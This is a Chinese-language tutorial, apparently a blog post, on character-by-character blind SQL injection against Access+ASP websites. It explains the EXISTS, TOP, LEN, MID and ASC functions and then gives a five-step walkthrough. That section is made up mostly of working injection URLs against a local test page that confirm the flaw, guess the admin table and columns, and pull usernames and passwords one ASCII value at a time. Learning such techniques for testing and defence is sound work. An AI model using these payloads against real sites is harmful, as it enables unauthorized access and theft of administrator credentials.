我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
一、相关概念解释
1、top关键字
(1)top n 的功能: 是用来指定检索结果集中的第n行前(包括第n行)的记录。
(2)示例:
2、exists()函数
(1)概念: exists()函数用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False。
(2)实质功能: exists()函数指定一个子查询,检测行的存在。
(3)示例:
3、mid()函数
(1)功能:mid() 函数用于从文本字段中提取字符。
(2)语法格式:SELECT MID(column_name,start[,length]) FROM table_name;
(3)mid函数的参数描述: (4)示例:
4、asc()函数
(1)功能:在Access里面,是用来获得字符对应的ASCII码值的
(2)示例:
5、len()函数
(1)功能:LEN 函数返回文本字段中值的长度。
(2)语法格式:SELECT LEN(column_name) FROM table_name
(3)示例:
二、Access+Asp 逐字猜解法注入
1、Access+ASP 逐字猜解法注入步骤:5步
<li class="task-list-item"> 判断是否存在注入点
<li class="task-list-item"> 爆表名:exists()函数
<li class="task-list-item"> 爆字段名:exists()函数
<li class="task-list-item"> 爆数据长度:top关键字/len()函数
<li class="task-list-item"> 爆数据:top关键字/mid()函数/asc()函数
2、Access+ASP 逐字猜解法示例:
(1)判断是否存在注入点
http://127.0.0.1:99/shownews.asp?id=110 and 1=1 # 正常页面
http://127.0.0.1:99/shownews.asp?id=110 and 1=2 # 错误页面
(2)爆表名:exists()函数
若页面返回正常,说明表存在:
http://127.0.0.1:99/shownews.asp?id=110 and exists (select * from admin)
(3)爆字段名:exists()函数
exists()函数功能,判断子查询是否有返回结果
http://127.0.0.1:99/shownews.asp?id=110 and exists (select username from admin)
http://127.0.0.1:99/shownews.asp?id=110 and exists (select password from admin) # 若页面返回正常,说明字段存在
(4)爆数据长度:top关键字/len()函数
top 1,表示第一条记录
len()函数,功能是取字符串的长度
http://127.0.0.1:99/shownews.asp?id=110 and (select top 1 len(username) from admin)=8 # 等于8就是确定数据的长度为8,也可以使用大于(>)小于(<),个人认为 等于(=)最好确定长度。
(5)爆数据:top关键字/mid()函数/asc()函数
- 常见ASCII码值对应的字符:
48 对应 0
65 对应 A
97 对应 a
- 用到的函数
mid()函数功能是,截取字符串
mid(string,1,1)的含义是,从左边第一位开始,截取string字符串的一个字符
asc()函数功能是,将括号内的值转为ASCII码值
http://127.0.0.1:99/shownews.asp?id=110 and (select top 1 asc(mid(username,1,1)) from admin)=97
http://127.0.0.1:99/shownews.asp?id=110 and (select top 1 asc(mid(username,2,1)) from admin)=100
http://127.0.0.1:99/shownews.asp?id=110 and (select top 1 asc(mid(password,1,1)) from admin)=55 # 猜解完之后 把ASCII码值转换过来,拼接后就是username/password字段的的数据,其他字段也是这样。 # 97的字符为a,100的字符为d,拼接起来就是ad